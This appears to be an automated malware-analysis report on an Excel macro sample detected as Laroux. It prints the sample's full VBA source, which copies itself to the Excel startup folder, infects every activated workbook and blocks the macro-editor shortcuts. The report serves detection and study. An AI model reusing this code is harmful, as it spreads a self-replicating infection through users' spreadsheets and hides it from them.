Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3c9b96c757816088…

MALICIOUS

Office (OLE)

33.5 KB Created: 1996-12-17 01:32:42 Authoring application: Microsoft Excel First seen: 2015-09-18
MD5: 31513f48131882dff0f9b1e0e23191f2 SHA-1: 98247a91cfafe8cd7341f00e08451a739bc6d820 SHA-256: 3c9b96c7578160889ddbf49601f07273099671cac2c17ed333f704ae3bc8b1b4
88 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample is an Excel file containing VBA macros, specifically an Auto_Open macro. This macro attempts to copy itself to the Excel startup folder as 'StartUp.xls' to achieve persistence. It also configures sheet activation and key press events to maintain its presence. The ClamAV detection 'Doc.Macro.Laroux-5893719-0' further supports its malicious nature.

Heuristics 3

  • ClamAV: Doc.Macro.Laroux-5893719-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Laroux-5893719-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub auto_open()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1339 bytes
SHA-256: 400af5fb2cf265f2b93a642a73ff0f149dda320e92178c87f489b6c4a998f95a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "StartUp"
Sub auto_open()
Attribute auto_open.VB_ProcData.VB_Invoke_Func = " \n14"
On Error Resume Next
If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "StartUp.xls") = "" Then
Application.ScreenUpdating = False
ThisWorkbook.Sheets("StartUp").Copy
ActiveWorkbook.SaveAs (Application.StartupPath & "\" & "StartUp.xls")
n$ = ActiveWorkbook.Name
ActiveWindow.Visible = False
Workbooks("StartUp.xls").Save
Workbooks(n$).Close (False)
End If
Application.OnSheetActivate = "StartUp.xls!cop"
Application.OnKey "%{F11}", "StartUp.xls!escape"
Application.OnKey "%{F8}", "StartUp.xls!escape"
End Sub
Sub cop()
Attribute cop.VB_ProcData.VB_Invoke_Func = " \n14"
On Error Resume Next
If ActiveWorkbook.Sheets(1).Name <> "StartUp" Then
Application.ScreenUpdating = False
n$ = ActiveSheet.Name
Workbooks("StartUp.xls").Sheets("StartUp").Copy before:=Worksheets(1)
Sheets(n$).Select
End If
End Sub
Sub back()
Attribute back.VB_ProcData.VB_Invoke_Func = " \n14"
On Error Resume Next
Application.OnKey "%{F8}", "StartUp.xls!escape"
Application.OnKey "%{F11}", "StartUp.xls!escape"
Application.OnSheetActivate = "StartUp.xls!cop"
Application.OnTime Now + TimeValue("00:00:01"), "StartUp.xls!cop"
Workbooks.Open Application.StartupPath & "\StartUp.xls"
End Sub

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